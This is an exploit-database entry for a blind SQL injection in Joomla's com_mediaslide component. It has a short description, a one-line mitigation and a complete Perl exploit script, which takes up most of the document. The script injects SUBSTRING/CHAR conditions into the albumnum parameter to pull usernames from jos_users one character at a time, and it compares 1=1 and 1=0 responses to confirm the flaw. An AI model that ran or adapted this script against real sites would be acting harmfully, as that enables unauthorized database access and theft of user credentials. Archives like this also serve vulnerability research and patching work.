Joomla com_mediaslide Blind SQL Injection

vendor:

com_mediaslide

by:

milw0rm.com

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: com_mediaslide

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Joomla com_mediaslide Blind SQL Injection

This exploit is a Perl script that can be used to exploit a blind SQL injection vulnerability in Joomla's com_mediaslide component. It uses the LWP::UserAgent and LWP::Simple modules to send HTTP requests and the Digest::MD5 module to generate MD5 hashes. The script takes the host, path, column, table, and regex as arguments and then iterates through the ASCII characters from 48 to 90 to find the correct one. It then checks if the vulnerability is present by comparing the MD5 hashes of two HTTP requests.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#inphex
#joomla com_mediaslide blind sql injection
use LWP::UserAgent;
use LWP::Simple;
use Switch;
use Digest::MD5 qw(md5 md5_hex md5_base64);
print "usage: $0 -h host.com -p /\n";
### use Getopt::Long; ###
$column = "username";
$table = "jos_users";
$regex = "preview_f2";
%cm_n_ = ("-h" => "host","-p" => "path","-c" => "column","-t" => "table","-r" => "regex");
$a = 0;
foreach  (@ARGV) {
	$a++;
	while (($k, $v) = each(%cm_n_)) {
		if ($_ eq $k) {
			${$v} = $ARGV[$a];
		}
	}
}

$i = 48;
$h = 1;
$f = 0;
$k = 0;
### Yeah,that's it... ###
while () {
    while ($i <= 90) {
		
	    if(check($i,$h,1) == 1)
	    {
	    	syswrite STDOUT,lc(chr($i));
	    	$h++;
			$a_chr = $a_chr.chr($i);
	    } 
		
		$i++;
		
	} 
	push(@ffs,length($a_chr)); 
	if (($#ffs -1) == $ffs) {
		&check_vuln();
		exit;
	}
	$i = 48;
	
}
#/

### :D ###
sub check($$$)
{
	$i = shift;
	$h = shift;
	$m = shift;

	switch ($m)
	{
		case 1 { $query = "%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$h.",1)=CHAR(".$i.")"; }
	}

	$ua = LWP::UserAgent->new;
	$url = "http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1".$query."";
	$response = $ua->get($url);
	$content = $response->content;
	if($content =~ /$regex/) { return 0;} else { return 1 ;}
}
#/

sub check_vuln
{
	

	$content = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=1");
	$content1 = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=0");

	foreach $bb1 (split(/\n/,$content)) {
		$bb = $bb.$bb1;
	}

	foreach  $yy1 (split(/\n/,$content1)) {
		$yy = $yy.$yy1;
	}

	$f =  md5_hex($bb);
	$s = md5_hex($yy);

	if ($f eq $s) {
		print "\nprobably not vulnerable";    #could be that ads,texts etc.. change
		exit;
	} else { print "\nvulnerable..."; }
}

# milw0rm.com [2008-02-14]